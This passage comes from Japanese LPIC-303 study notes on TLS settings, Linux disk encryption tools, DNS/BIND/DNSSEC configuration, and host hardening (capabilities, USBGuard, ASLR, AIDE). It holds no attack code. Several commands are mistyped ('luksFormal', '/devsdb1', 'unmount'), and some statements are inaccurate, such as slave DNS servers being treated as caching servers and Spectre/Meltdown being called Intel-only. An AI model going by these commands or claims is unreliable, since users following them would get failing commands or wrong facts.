しかし、レスポンダとの通信次第で問い合わせに遅延が発生し、確認手続きが失敗するなどの弊害もあった。これに対応する方法としてOCSPを拡張したものが、OCSP stapling(OCSPステープリング)となる。 クライアントが行っていたOCSPレスポンダへの問い合わせを証明書提供側のサーバが行うことにより、クライアントが確認手続きで失敗するリスクをなくす。 「ssl.conf」では設定項目SSLUseStaplingにて有効化するか否かを選択できる。

#OCSP Stapling: 
SSLUseStapling On 
SSLStaplingCache "shmcb:logs/ssl_stapling(32 768)"

CipherSuite

CipherSuiteは暗号化の組み合わせのことを指す。 SSL/TLSで使用できる暗号化には様々な種類があり、暗号といっても、目的によって使用できる暗号技術が異なる。

SSL/TLSの動作は複数の暗号技術の組み合わせで成り立っており、通信の開始から終了までの間に数種類の暗号技術を使用する。 この組み合わせは暗号スイートと呼ばれ、OpenSSLではopenssl chipersコマンドで使用できる暗号スイートを確認できる。

6.4. 暗号化ファイルシステム

6.4.1. ディスク暗号化の基礎

ディスク全体の暗号化は盗難や偶発的な紛失の場合にディスクを保護する。 ディスク全体の暗号化では、スワップファイル、システムファイル、休止状態ファイルを含むディスク全体が暗号化される。 暗号化されたディスクが紛失、盗難された場合でも、ドライブの暗号化状態は変更されず、許可されたユーザーのみがその内容にアクセスできる。

ファイルの暗号化では起動中にシステムにログインし、その後コンピュータを放置した場合、権限のないユーザーはディスク上の任意のファイルを開くことができないようにできる。 またファイルシステムの暗号化は以下の方法がある。

  • ブロックデバイス
  • ファイルシステムレベル

ディスク暗号化ツール

ディスクを暗号化するためのツールは以下のようなものがある。

  • dm-encryptLUKS (通常は連携して使用する)
  • cryptmount (エンドユーザーがデータを暗号化するのに役立ちます)
  • eCryptfs (ファイル システム レベルの暗号化)
  • EncFS (eCryptfs互換)

6.4.2. ブロックデバイスとファイルシステムの暗号化

dm-cryptとLUKS

dm-cryptsはブロックデバイスの暗号化を行う暗号化の方法の1つ。 dm、すなわちdevice-mapper(デバイスマッパー:物理デバイスと論理デバイスをマッピングするLinuxカーネルの標準機能)の暗号化機能を使ってデバイス全体に対する暗号化を行う。

dm-cryptを扱うためのツールには以下の2つがある

  • cryptsetup … 暗号化デバイスの作成・管理・各種操作
  • cryptmount … 暗号化ファイルシステムのマウント・アンマウントなど

cryptsetupコマンドでは、暗号化のタイプとしてplain(plain dm-crypt)モードLUKSモードを選択することができる。

LUKS(Linux Unified Key Setup:ラックス)とはLinuxにおけるディスク暗号化の標準仕様で、dm-cryptを用いて実装されている。 ファイルシステムに依存しておらず、Linuxで一般的なファイルシステムのext3やext4、Brtfs、さらにSWAP領域を暗号化することも可能である。

  • /etc/crypttab
    • cryptsetupで設定した暗号化ボリュームをOS起動時に自動的にマウントするためには、「/etc/crypttab」にエントリを追加する必要がある
    • 「/etc/crypttab」は「/etc/fstab」より先に読み込まれるため、暗号化を解除した上で復号されたファイルシステムをマウントすることが可能になる

eCryptfs

eCryptfsはファイルシステムの暗号化を行う技術の一つで、ファイルやディレクトリを暗号化することができるもの。 dm-cryptと異なり、ブロックデバイスではなくファイルやディレクトリを暗号化する。 カーネルモードで動作し、各ファイルのヘッダに暗号化メタデータを持つことにより、ホスト間で暗号化ファイルをやり取りすることができる。 特にUbuntuにおけるホームディレクトリの暗号化の仕組みとして広く利用されている。

またecryptfsdと呼ばれるデーモンによって制御が行われ、ecryptfs-*コマンドで各種操作を行う。

ENcFS

ファイルの暗号化のシステムとして、eCryptfsのほかにEncFS(Encrypted Filesystem)が知られている。

歴史はeCryptfsよりも古く、暗号化ファイルシステムとしては最も扱いやすいファイルシステムと言われている。FUSE(Filesystem in Userspace:カーネルを弄ることなくユーザ空間でファイルシステムを作成するソフトウェア)を用いているため制約もありますが、GUIや、WindowsやMacなどのOSもサポートされているのが特徴である。

6.4.3. dm-crypt

dm-cryptはブロックデバイスの暗号化を行うコマンド。 dm-cryptを扱うためのツールには以下の2つがある。

  • cryptsetup … 暗号化デバイスの作成・管理・各種操作
  • cryptmount … 暗号化ファイルシステムのマウント・アンマウントなど

cryptsetupコマンド

暗号化ファイルシステム利用を行うコマンド。

cryptsetup <アクション> <アクションごとのオプション>
アクション【plainモード】説明
open –type plain デバイス名 名称マッピング名とデバイスを指定して暗号化マッピングの作成
close 名前 / remove 名前暗号化マッピングの削除
resize 名前暗号化マッピングのサイズ変更
status 名前暗号化マッピングの状態表示
アクション【LUKSモード】説明
luksFormat デバイス名デバイスをLUKSパーティションとして初期化
luksOpen デバイス名 名前デバイスとLUKSパーティション名を指定しLUKSパーティションを開く
luksClose 名前Luksパーティションを閉じる
luksAddkey デバイス名 キーファイル名LUKSパーティションにパスフレーズを追加
luksKillSlot デバイス名 キースロット番号
luksDelKey デバイス名 キースロット番号
LUKSパーティションから設定したパスフレーズを削除
luksDump デバイス名LUKSパーティションの状態表示
isLuks デバイス名デバイスがLUKSパーティションの場合は真をそうでない場合は偽を返す

cryptmountコマンド

cryptmount [オプション] [ターゲット]
オプション説明
-mターゲットのマウント
-uターゲットのアンマウント
-Sターゲットのマウント状況の表示
-l利用可能なターゲットの基本情報の表示
-sターゲットのスワップ領域の有効化
-xターゲットのスワップ領域の無効化
-pターゲットに対するデバイスの準備
-rターゲットから全デバイスの開放
-cターゲットのパスワード変更
-g復号キーの作成

cryptsetupによる暗号化デバイスの利用方法

cryptsetupを用いて暗号化デバイス(パーティション)を利用する流れは以下の通り

  1. (LUKSモード利用時)luksFormatによるパーティションの初期化
    • cryptsetup luksFormal /dev/sdb2
  2. openまたはluksOpenによる暗号化マッピングの作成
    • cryptsetup open --type plain /devsdb1 dm01
    • cryptsetup luksOpen /dev/sdb2 dm02
  3. mkfsおよびパーティションのマウント
    • mkfs.ext4 /dev/mapper/dm02
    • mount /dev/mapper/dm02 /mnt/luks

なお利用終了時は、アンマウントし暗号化マッピングを削除する。

  1. パーティションのアンマウント
    • unmount /mnt/luks
  2. closeまたはluksCloseによる暗号化マッピングの削除
    • cryptsetup close dm01
    • cryptsetup luksClose dm02

6.4.4. eCryptfs

eCryptfsはファイルシステムの暗号化を行う技術の一つで、ファイルやディレクトリを暗号化することができるもの。 擬似ファイルシステムとも呼ばれ、マウントすることでeCryptfs層を通過させることにより復号を行う。

カーネルモードで動作し、各ファイルのヘッダに暗号化メタデータを持つことにより、ホスト間で暗号化ファイルをやり取りすることができる。 特にUbuntuにおけるホームディレクトリの暗号化の仕組みとして広く利用されている。 またecryptfsdと呼ばれるデーモンによって制御が行われ、ecryptfs-*コマンドで各種操作を行う。

ecryptfsコマンド

ecryptfsコマンドはecryptfsの操作を行うコマンド。 mount.ecryptfs, umount.ecryptfsでも操作をおこ会う。

オプション説明
ecryptfs-setup-private暗号化ディレクトリのセットアップ
ecryptfs-migrate-homeユーザディレクトリの暗号化
ecryptfs-mount-private暗号化ディレクトリのマウント
ecryptfs-umount-private暗号化ディレクトリのアンマウント
ecryptfs-unwrap-passphraseパスフレーズの複合
# eCryptfsのセットアップを行う
ecryptfs-setup-private

# 暗号化ディレクトリのマウント、アンマウントを行う
ecryptfs-mount-private
ecryptfs-umount-private

# rootユーザが、一般ユーザのホームディレクトリ全体を暗号化するコマンド
ecryptfs-migrate-home

# 「wrapped-passphrase」を復号する
ecryptfs-unwrap-passphrase

なおファイルのマウントはmount -t encryptfsコマンドでも可能となる。 また、マウントした状態(復号した状態)でバックアップを取ると、暗号化されていないデータもバックアップされることになるので注意する。 暗号化した状態のみにしたい場合はumountしてからバックアップを実施する。

eCryptfsのディレクトリ構造

ecryptfs-migrate-homeコマンドなどにより暗号化ディレクトリを作成すると、以下のようなファイルやディレクトリが作成される。

$HOME
  ├ Private/ ... 復号されたデータを含むマウントポイント
  ├ .ecryptfs/
  │  ├ Private.mnt ... 暗号化ディレクトリのマウントポイントが書かれたファイル
  │  ├ Private.sig ... 暗号化パスフレーズの署名ファイル
  │  ├ wrapped-passphrase ... マウント用の暗号化パスフレーズ
  │  ├ auto-mount ... 自動マウント用の空ファイル
  │  └ auto-umount ... 自動アンマウント用の空ファイル
  └ .Private/ ... 暗号化されたデータを含むディレクトリ

6.4.5. ENcFS

encfsパッケージは ecryptfs と同様の機能を提供するが、スーパーユーザー以外が使用するように設計されている

6.5. DNSと暗号化

6.5.1. DNSの概要

DNSとは

DNSはIPアドレスやその他のデータを保存し、名前によるクエリを可能にする階層型の仕組みのこと。 DNS サーバーはドメイン名のデータベースを保存し、ネットワーク内のクライアントからの DNS クエリに基づいてドメイン名を処理する。

DNSサーバの種類

DNSサーバには以下の種類がある。

  • マスタDNSサーバ(権威DNSサーバ)
    • ゾーンファイルを所有するDNSサーバ
    • A、AAAA、CNAME などのDNS名レコードを保持する
  • スレーブDNSサーバ(キャッシュDNSサーバ)
    • マスターDNSサーバのゾーン情報をコピーするDNSサーバ
    • ドメインに対する以前のクエリに基づいてキャッシュファイルを構築している

再帰問い合わせと反復問い合わせ

ドメイン名とIPアドレス対応に関する問い合わせは再帰問い合わせ(Recursive query)と反復問い合わせ(Iterative query)の2種類がある。

  • 再帰問い合わせ
    • リゾルバからの問い合わせ要求を受けたDNSサーバが、他のDNSサーバに問い合わせを行い、その最終的な結果をリゾルバに応答する必要のある問い合わせ
  • 反復問い合わせ
    • リゾルバから再帰問い合わせを受けたキャッシュDNSサーバが、再帰問い合わせの結果を返すために、答えを得られるまで繰り返し他のDNSサーバへ行う問い合わせのこと

DNSゾーン

DNS構成はゾーンリソースレコード で構成される。 ゾーンの種類は以下の通り。

  • パブリックDNSゾーン * インターネットから参照できるゾーン * パブリックゾーンに DNS レコードを作成して、インターネット上にサービスを公開できる
  • プライベートDNSゾーン * パブリックインターネット経由でクエリできないゾーンのこと
  • サブゾーン * ゾーンの所有者が NS レコードを使用してサブドメインを別のネーム サーバーに委任できるもの * example.comの場合、aaa.example.combbb.example.com作成し、親ドメインのゾーンから見つけられるようにする(委任)するもの

スプリットビューDNS(スプリットホライズンDNS)

スプリットホライズンDNSを使用すると、要求に応じて同じ名前に対して異なる回答 (異なるリソースレコードセット) を提供できる

この機能は、クエリが開発ネットワークから送信された場合はアプリの開発/ステージング バージョンを提供し、クエリがパブリックインターネットから送信された場合はアプリの運用/公開バージョンを提供するといったことに利用できる。

リソースレコード

リソースレコードはドメイン名と IP アドレスに関するデータを保存するために使用されるもの。 DNSゾーンのデータベースは、リソース レコードのコレクションで構成される。 各リソース レコードは、特定のオブジェクトに関する情報を指定する。

リソースレコードタイプ説明
SOA管理情報の記述
NSゾーンを管理するDNSサーバを記述
MXメールサーバを記述(正引きのみ)
Aホスト名に対するIPアドレスを記述(正引きのみ)
AAAAホスト名に対するIPv6アドレスを記述(正引きのみ)
CNAMEホスト名の別名に対するホスト名を記述(正引きのみ)
PTRIPアドレスに対するホスト名を記述(逆引きのみ)
TLSAデジタル署名されたレコード。サーバ認証に使われる証明書や鍵の情報がドメイン名に対して関連付けられてDANE(DNSを使った認証の仕組み)で用いられる

レコードセット

レコードセットは同じ名前と同じタイプで、データ値が異なるレコードのこと。 以下は同じ名前とタイプを持つ複数のレコードを含むレコードセットの例。

DNS名タイプTTL (秒)データ
db-01.dev.gcp.example.comA5010.128.1.35
db-01.dev.gcp.example.comA5010.128.1.10

6.5.2. ドメインレジストラ

ドメインレジストラはパブリックゾーンのインターネットドメイン名の予約を管理する組織のこと。 レジストラは汎用トップレベル ドメイン (gTLD) レジストリまたは国コード トップレベル ドメイン (ccTLD) レジストリによって認定される必要がある。

6.5.3. SOAレコードのシリアル番号

SOAレコードのシリアル番号はDNSゾーンのバージョン番号のこと。 すべてのネームサーバーがゾーンの最新のバージョンであるためには、それらのネーム サーバーが同じSOAシリアル番号を持っている必要がある。

EDNS

EDNSはDNSの拡張プロトコルEDNS(Extension mechanism for DNS)のこと。 DNSでUDPを用いる場合、パケットサイズが512byteを超えることができないという制約を緩和するためのものともいえる。 EDNS の最も一般的な実装はDNSSECである。

また、EDNSは基本的なDNSプロトコルの枠組みは残したままで512byte以上の通信を可能にする。

DOビット/ADビット

EDNSによって拡張されたDNSパケットでは、DO bitという識別情報がやりとりされる。 DO=「DNSSEC OK」bitであり、このbitを識別できることがDNSSECを使用できる前提となる。つまりENDSを理解できない場合はDNSSECを利用といえる。

またDNSSECで認証確認が成立した場合は、DNS応答のAD(Authentic Data)ビットに1が格納される。

6.5.4. BINDの保護

TSIG

TSIGはトランザクション署名とも呼ばれるDNS メッセージを保護し、安全なサーバー間通信を提供するための仕組みのこと。BIND v8.2 以降で使用できる。 DNSサーバ同士でなりすましを防ぐために認証を行う仕組みともいえる。

TSIG は2つのDNS サーバー間の次のタイプのトランザクションを保護できる。 TSIG は、共有シークレットと一方向ハッシュ関数を使用して DNS メッセージを認証する。

chroot jailによるBIND実行

chrootは指定したディレクトリを新しいルートディレクトリとしてプロセスを制限できる機能のこと。 この機能によりディレクトリ内のソフトウェアが乗っ取られても、被害をソフトウェア内だけにとどめることができる。

/etc/named.confの主要なディレクティブ

CentOSにおける設定例は以下の通り。

options {
        listen-on port 53 { 127.0.0.1; };
        listen-on-v6 port 53 { ::1; };
        directory       "/var/named";
        dump-file       "/var/named/data/cache_dump.db";
        statistics-file "/var/named/data/named_stats.txt";
        memstatistics-file "/var/named/data/named_mem_stats.txt";
        secroots-file   "/var/named/data/named.secroots";
        recursing-file  "/var/named/data/named.recursing";
        allow-query     { localhost; };

        recursion yes;

        dnssec-enable yes;
        dnssec-validation yes;

        managed-keys-directory "/var/named/dynamic";

        pid-file "/run/named/named.pid";
        session-keyfile "/run/named/session.key";

        /* https://fedoraproject.org/wiki/Changes/CryptoPolicy */
        include "/etc/crypto-policies/back-ends/bind.config";
};

logging {
        channel default_debug {
                file "data/named.run";
                severity dynamic;
        };
};

zone "." IN {
        type hint;
        file "named.ca";
};

include "/etc/named.rfc1912.zones";
include "/etc/named.root.key";
ディレクティブ説明
allow-queryネームサーバーへのクエリを許可するホストを指定する
allow-recursion再帰クエリに適用できる。デフォルトではすべてのホストがネームサーバー上で再帰的クエリを実行できる。
allow-transferゾーンの情報の転送要求を許可するスレーブサーバーを指定する。デフォルトではすべての転送リクエストが許可される。
allow-updateゾーン内の情報を動的に更新できるホストを指定する。デフォルトでは、すべての動的更新リクエストが拒否される。

Rndc

rndc (リモート ネーム デーモン コントロール)は、BIND にてローカルホストまたはリモートホストから指定されたデーモンをコマンドラインで管理できるようにするツール。BIND 9.0以降で使用できる。

rndcは、デジタル署名された名前付きコマンドを TCP 接続経由で送信する。

rndc の設定ファイルは/etc/rndc.confとなる。 この構成ファイルには、接続するネームサーバーやデジタル署名に使用するキーなどの構成情報が保存される。

rndc ユーティリティは、初期化スクリプトを使用してnamedが開始されるときに開始される。 rndc.confファイルはrndc-confgenコマンドユーティリティを使用してランダムキーを使用して生成できる。

6.5.5. DNS関連のコマンド

digコマンド

dig(Domain Information Groper)コマンドはDNSにクエリを実行するためのコマンド。 DNS 問題の検証とトラブルシューティングに使用できる。

dig <ドメイン名>
digコマンド説明
dig google.com MXドメインの MX レコードをクエリする
dig google.com SOAドメインの SOA レコードをクエリする
dig google.com TTLドメインの TTL レコードをクエリする
dig @8.8.8.8 google.comクエリに別の DNS サーバーを使用する
digdigコマンドのバージョンとルートDNS サーバーを表示します

delvコマンド

delvコマンドはBIND 9.10以降のdigコマンドの後継ツール

delv <オプション> ドメイン名
オプション説明
+rtraceクエリされたすべてのレコードリソースをリストするだけ。DNSSEC の詳細は含まれない
+mtracertrace と同じだが、すべてのレコードリソースの完全な内容が含まれる
+vtrace多くの追加メモを含む検証プロセスの追跡

6.5.6. DNSSECによるDNSの保護

DNSSEC

DNSSECはDNSの応答にデジタル署名の機能を使って正当性を付与し、改ざんされていないこと、正当な管理者の管理しているレコードであることを保証する仕組みのこと。

DNSはもともとルートサーバから始まる名前解決の木構造で、順に権限移譲しながら最終的な名前解決に辿り着くという仕組みとなる。 この際、自己の署名に対する公開鍵を上位DNSサーバへ登録することで、信頼される権威サーバであることを担保し、これによりその応答レコードも信頼される…という信頼の連鎖によって一覧のDNSレコードの信頼性を確保する。

DNSサーバは、ドメイン情報を保持・提供する権威DNSサーバと、権威DNSサーバに問い合わせをするキャッシュDNSサーバに分かれているが、DNSSECを使用するにはそれぞれがDNSSECに対応している必要がある。

DNSSECでは2種類の鍵を用いる

  • ゾーンの署名鍵(ZSK:Zone Signing Key)… ゾーンに署名する
  • 鍵の署名鍵(KSK: Key Signing Key)… ゾーンに署名した鍵に署名する

それぞれは公開鍵と秘密鍵のペアになっている。

DNSSECを利用するためにはBINDの場合、設定ファイル/etc/named.confoptionsセクションへ以下の二つの項目を設定する必要がある。

options {
   dnssec-enable   yes; # DNSSECの有効(yes)/無効(no)を設定する
   dnssec-validation  auto; # DNSSEC検証の有効/無効を設定する (auto または yes)
# auto: DNSSEC検証を有効にし、トラストアンカー
# yes: DNSSEC検証を有効にする。トラストアンカー(trusted-key)を手動で設定する必要がある
# no : DNSSEC検証を無効にする
   :(以下省略)

これらのパラメータは、BINDのバージョンによってデフォルト値が異なる。 BINDのバージョンを確認するには、BINDサーバ上で直接named -vコマンドを実行するか、クライアントからBINDサーバへ向けて確認するには上述のdigコマンドを使用できる。

named -v

dig

セキュリティのためにバージョンを隠す場合は設定ファイル/etc/named.confoptionsセクションに以下のように記載する。

options {
    version "表示したい文字列";
    :(以下省略)

DNSのリソースレコード

DNSはIPアドレスとドメイン名とを紐づけるためのデータベースをリソースレコードと呼ばれる形で保持する。 DNSSECで使用されるリソースレコードは以下の通り。

リソースレコード説明
DSKSK公開鍵のハッシュ値を含む情報
親ゾーンに登録すると信頼の連鎖を構築する
DNSKEY公開鍵の情報
キャッシュDNSサーバが署名を検証するために公開鍵を使用する
RRSIG各リソースレコードへのデジタル署名
キャッシュDNSサーバが権威DNSサーバからの応答に対する正当性を検証するために使用
NSEC存在しないサーバへ問い合わせがあった際に不在証明のため辞書順で並べた際に次の位置するゾーン情報を示す
NSEC3NSECを改良したもの。直接のゾーン名ではなくハッシュ化されたゾーン名を示す
NSEC3PARAM権威DNSサーバがNSEC3を生成する際に必要な情報
TLSADANEにおいて用いられるレコード(ドメイン名にX.509証明書情報の紐づけ)

TLSAレコードを除き、基本的には署名を行うと署名や公開鍵を含んだレコード(ゾーンファイル)が作成される。 DNSKEYリソースレコードには上述の通りKSK・ZSKの公開鍵が含まれ、これらは各リソースレコードの検証に使用される。

BINDのDNSSEC関連ユーティリティ

DNSサーバソフトウェアであるBINDには、サーバやKSK、ZSKの生成・管理などを行うための以下のようなコマンドユーティリティがある。

コマンド機能
dnssec-keygenDNSSECのZSK/KSKを生成する
dnssec-signzoneゾーンファイルへの署名を行う(NSEC, NSEC3, RRSIG, DNSKEYなどの生成)
dnssec-settime鍵ファイルのメタデータである時間の表示/変更
dnssec-dsfromkey鍵ファイルから上位サーバに登録するDSレコード生成する
opensslTLSAレコードの検証を行う
rndcBIND 9.0以降の制御設定ツール
delvBIND 9.10以降の検証/解析ツール

6.5.7. DNSSECの設定

dnssec-keygenコマンド

dnssec-keygenはDNSSECのキーを生成することができるコマンド。

dnssec-keygen -a RSASHA256 -b 512 -n ZONE -f KSK myzone.
オプション説明
-aアルゴリズムの指定
-bキーサイズ
-nnametype
-f指定されたフラグをKEY/DNSKEYレコードのフラグフィールドに設定する

dnssec には、ゾーンに署名するための ZSK キーのペアも必要となる。

dnssec-signzoneコマンド

dnssec-signzone はゾーンに署名しゾーンの署名付きバージョンを生成するコマンド。

dnssec-signzone -o myzone. -S db.myzoneFetching ZSK 63075/RSASHA256 from key repository.

ファイル内部は以下のようになる。

; File written on Mon Apr  9 01:45:42 2018
; dnssec_signzone version 9.10.3-P4-Ubuntu
myzone.            604800    IN SOA    myzone. root.myzone. (
                    51         ; serial
                    604800     ; refresh (1 week)
                    86400      ; retry (1 day)
                    2419200    ; expire (4 weeks)
                    604800     ; minimum (1 week)
                    )
            604800    RRSIG    SOA 8 1 604800 (
                    20180509074542 20180409074542 63075 myzone.
                    eHu3B0s9AcclEMfkaXK+zUcqnhYTRXO2BBoR
                    s4z9DGxbwcTXoy8MbIACkuVOhkM6+tQ8r7pr
                    clIKoUALm4I4mQ== )

dnssec-settimeコマンド

指定されたキーの有効期間を管理するコマンド。

dnssec-dsfromkeyコマンド

特定の KSK の DS RR を生成するために使用されるコマンド。

6.5.8. DANE

DANEはDNSSECの技術を応用した認証の仕組みのこと。 DNSSECの導入により、DNSサーバの応答の正当性が検証できるようになった。

DANEで用いられるリソースレコードをTLSAレコードと呼ぶ。

TLSAレコード

TLSAレコードはTLS サーバー証明書または公開キーを、レコードが見つかったドメイン名に関連付けるために使用される。

14.3.7 - 7.ホストのセキュリティ

【LPIC303範囲】Linuxのホスト自体(OSなど)のセキュリティを上げるためのポイントを記載

7.1. ホストセキュリティの強化

7.1.1. カーネルセキュリティ

不要なソフトウェアを無効化

実行中のすべてのプログラムには、セキュリティ上の脅威が存在する可能性があるため、使用されていないサービスを無効にすることは、セキュリティ上の良い設定となる。

サービスの無効化にはsystemctlおよびchkconfigを使用することで可能。 一般的に無効化するサービスには、atd、ava hi-daemon、cups がある。

リソース使用量の制限

ユーザーはスレッド、開いているファイル、メモリなどのシステムリソースを制限することができる。

paml_limits.soモジュールを使用すると、オペレーターはハード制限およびソフト制限を通じてユーザーがアクセスできる 1 つのリソースの量を制御できる。

ulimitコマンドでもユーザーがアクセスできるリソース量を制限可能。 また恒久的な設定は/etc/security/limits.confで可能。

ulimit <オプション> 値
オプション説明
-a現在設定されている値を全て表示
-fシェルとその子によって書き込まれるファイルの最大サイズ
-t最大 CPU 時間 (秒単位)
-u1 人のユーザーが使用できるプロセスの最大数
-Tスレッドの最大数

カーネルパラメータのチューニング

sysctlコマンドは、カーネルパラメータを表示および設定できる。

# 設定の全表示
sysctl -a

# カーネルパラメータからの表示
sysctl -n

# 設定の検索
sysctl -ar [検索パターン]

procfs 

# 設定の保存
sysctl -w  <param>=<value>

# 恒久的な設定の記述ファイル
/etc/sysctl.conf

# /etc/sysctl.confからの反映(ファイルから読み込む)
sysctl -p

7.1.2. Linuxの機能

プロセス機能

特定のプロセスの機能を確認するには/procディレクトリ内のステータスファイルを確認する。

cat /proc/self/statusで現在で実行中のプロセスを、capsh --printまたは/proc/<pid>/statusで他のユーザの実行中のプロセスを確認できる。

cat /proc/1234/status | grep Cap
cat /proc/$$/status | grep Cap

上記コマンドで表示される各行は以下内容を意味する。

  • CapInh … 継承された機能
  • CapPrm … 許可される機能
  • CapEff … 有効な能力
  • CapBnd … 境界セット
  • CapAmb … アンビエント機能セット

また、実行中のプロセスの機能を確認するには、getpcapsツールの後にプロセス ID (PID) を続けて使用することでできる。

バイナリ機能

バイナリには、実行中に使用できる機能を含めることができる。 たとえば、cap_net_rawのような機能をping持つバイナリを見つけるのは非常に一般的となる。

getcap /usr/bin/ping
/usr/bin/ping = cap_net_raw+ep

バイナリ検索はgetcap -r / 2>/dev/nullで行える。

capsh による機能の削除

pingのCAP_NET_RAW機能を削除すると、ping ユーティリティは機能しなくなる。

capsh --drop=cap_net_raw --print -- -c "tcpdump"

バイナリ機能の削除

バイナリの機能を削除するには以下コマンドで行える。

setcap -r </path/to/binary>

7.1.3. USBGuard

USBGuard ソフトウェア は、デバイス属性に基づいた基本的なホワイトリスト機能とブラックリスト機能を実装することにより、USB デバイスに対するシステム保護を提供する。 ユーザー定義のポリシーを強制するために、USBGuard はLinux カーネルの USB デバイス認証機能を使用する。 USBGuardフレームワークは次のコンポーネントを提供する。

  • 動的対話とポリシー適用のためのプロセス間通信 (IPC) インターフェイスを備えたデーモンコンポーネント
  • 実行中のUSBGuardインスタンスと対話するためのCLI
  • USB デバイス認証ポリシーを記述するためのルール言語
  • 共有ライブラリに実装されたデーモンコンポーネントと対話するための C++ API

USBGuardの機能

# 初期ルールセットを作成する
usbguard generate-policy > /etc/usbguard/rules.conf

# USBGuard ルール セットをカスタマイズする
vi /etc/usbguard/rules.conf

# USBGuard デーモンを起動する
systemctl enable usbguard.service

# USBGuard によって認識されるすべての USB デバイスをリストする
usbguard list-devices

# デバイスがシステムと対話することを許可する
usbguard allow-device <device-num>

# デバイスを認証解除してシステムから削除する
usbguard reject-device <device-num>

# デバイスの認証を解除するだけ
usbguard block-device <device-num>

またUSBGuardでは、blockおよび拒rejectという用語を次の意味で使用する。

  • block … 現在このデバイスと通信しないようにする
  • reject … このデバイスを存在しないかのように扱う

ホワイトリスト/ブラックリストの作成

ホワイトリスト/ブラックリストはusbguard-daemon.confによりロードされ、デーモンの実行時パラメータの構成に使用される。

ホワイトリストまたはブラックリストを作成するには、/etc/usbguard/usbguard-daemon.confファイルを編集し、そのオプションを使用することで実現できる。

RedHat系におけるUSBGuard

USBGuardのデーモンはUSBGuardパブリックIPCインターフェイスを提供する。 このインターフェイスへのアクセスはRedHat系の場合、rootユーザーのみに制限されている。

アクセス制限にはIPCAccessControlFilesオプション、またはIPCAllowedUsersオプションの設定で制御できる。 なお必ずIPCAllowedGroupsオプションの設定も行う必要があり、これを行わない場合、IPCインターフェイスがすべてのローカルユーザーに公開され、USB デバイスの認証状態を操作したり、USBGuardポリシーを変更したりできるようになってしまう。

7.2.4. ASLRの管理

ASLR(Address Space Layout Randomization)はプログラムがロードされるたびに、メモリ内の異なる場所にロードされるようにする仕組みのこと。

ASLR の設定または設定解除はカーネル パラメータによって制御される。 設定すべきカーネルパラメータはkernel.randomize_va_spaceとなる。

各値毎の動作は以下の通り。

  • 0 … ALSR が無効
  • 1 … ALSR が保守モードで動作
  • 2 … ALSR が完全に機能して動作

7.2.5. NXビット

NXビットはCPUの機能で保護されたメモリ領域からの実行を防ぐことができるもの

この機能の利用により実行可能なメモリ空間を制限することできる。そのため悪意のあるプログラムによる任意のコードの実行が困難にすることが可能。

NXビットは CPUレベルの機能であるため、CPU 情報を確認して確認する必要がある。

grep -Fw nx /proc/cpuinfo

7.2.6. Exec-Shield

Exec-ShieldはNXビットの機能のない CPU をサポートするように設計された、同じ問題に対するソフトウェア手法のこと。 NXビットと同様に保護されたメモリ領域からの実行を防ぐことができる。

7.2.7. ICMPのセキュリティ設定

ICMPの無効化はカーネルパラメータのnet.ipv4.icmp_echo_ignore_all=1で設定ができる。

sysctl -w net.ipv4.icmp_echo_ignore_all=1

このICMPの無効化はICMP(ping)応答の無効化やDDoSの軽減などホストの稼働状況に関する情報漏洩を防ぐことができる。

なお、ICMPエコーブロードキャストのみ無効化させる場合はnet.ipv4.icmp_echo_ignore_broadcasts=1で可能。

7.2.8. SSH認証局

SSH公開鍵認証の問題

SSH 接続が初めて確立されると、SSH サーバーは自分自身を識別するための公開キーをユーザーに送信する。この認証スキームは「初回使用時の信頼」または TOFU と呼ばれる。

この認証スキームはホストのIP、名前、または公開キーが変更されると、ユーザ側にホストが信頼できないようなメッセージが表示される。

SSH CAベースの認証

SSHの認証で認証局を使用してサーバーとクライアントを認証する機能を利用するとクライアントに対してホストを認証でき、ホストの信頼性を検証できないという混乱を招くSSH公開鍵認証の問題を回避できる

この構成を行い場合、接続先ホストとクライアントの2台だけではなく、認証局用のCAサーバが必要となる。

7.2.9. Chroot環境

chrootは特定のユーザーおよびプロセスに対して設定される疑似的なルートファイルシステムのこと。 特徴は以下の通り。

  • 特権のないプロセスは、chroot 環境外のファイルにアクセスできない
  • chroot 環境ではハードリンクできないため、ファイル自体をコピーして配置しておく必要がある

最新のプロセス分離ではChroot環境ではなく、仮想化コンテナが使用される。

7.2.10. Spectre/Meltdown脆弱性

Spectre/Meltdown脆弱性はプロセッサまたは CPU のハードウェアの脆弱性のこと。 この脆弱性は発見されてはいるが、悪用するには非常に難しいとされている。 具体的にはIntel製のプロセッサに対する脆弱性で内容は以下の通り。

  • Spectre脆弱性 * コンピュータにインストールされているアプリケーション間の分離が破壊されるもの * 攻撃者は安全性の低いアプリケーションをだまして、オペレーティング システムのカーネル モジュールから他の安全なアプリケーションに関する情報を朗詠させられる
  • Meltdown脆弱性 * ユーザー、アプリケーション、オペレーティング システム間の分離を破壊するもの * 攻撃者は、そのプログラムや他のプログラムのメモリ位置にアクセスし、システムから機密情報を取得するプログラムを作成することができる

Linux マシンに Meltdown と Spectre に対するパッチが適用されているかどうかを確認するには以下プロジェクトのソフトウェアで可能。

git clone https://github.com/speed47/spectre-meltdown-checker.git
  1. cd spectre-meltdown-checker
  2. chmod u+x spectre-meltdown-checker.sh
  3. ./spectre-meltdown-checker.sh

7.2.11. Polkit

PolKitは特権のないユーザセッションと特権のあるシステムとの間のネゴシエーターとして機能するアプリケーションのこと。 内部的にはユーザセッションのプロセスがシステムコンテキストでアクションを実行しようとするたびにPolkitがクエリされる。

Polkitの動作はsudoなどの従来の権限承認プログラムとは異なり、rootセッション全体に権限を付与するのではなく、特定のアクションにのみ権限を付与する。

7.2.12. Grubの制御

GRUB はパスワード機能を提供し、管理者だけが対話型操作を開始できるようにすべきものといえる。 これはGrubが構成を変更したり、実行時に任意のコマンドを実行したりできる機能があるためユーザレベルの制御としては強すぎるためである。

7.2. ホストへの侵入検知

7.2.1. スレッド検出ツール

Linuxの脅威検出ツールには以下のようなものがある。

  • AIDE … ホストの改ざん・侵入検知ツール
  • OPENScap … システム監視用のRedHat系向けのツール
  • Linux Malware Detect(LMD) … 悪意のあるソフトウェアを検出するための別のツール
  • Rkhunter … ルートキットを検知/駆除ツール
  • Chkrootkit … ルートキットを検知/駆除ツール

7.2.2. AIDE

AIDEはLinux向けのファイルとディレクトリの整合性をチェックする強力なOSS侵入検知ツール。 AIDE はファイルとディレクトリの整合性をチェックするための独自のデータベースを持つ。そのファイル署名のデータベースを維持し、ファイル署名を定期的に検証する。

またAIDEは、最近変更または変更されたファイルの監視に役立つ。誰かがファイルやディレクトリを修正または変更しようとしたときに、それらを追跡できるようになっている。

/etc/aide.conf

